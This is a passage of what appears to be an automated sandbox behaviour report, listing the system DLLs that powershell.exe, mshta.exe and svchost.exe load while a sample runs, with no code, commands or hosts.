Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
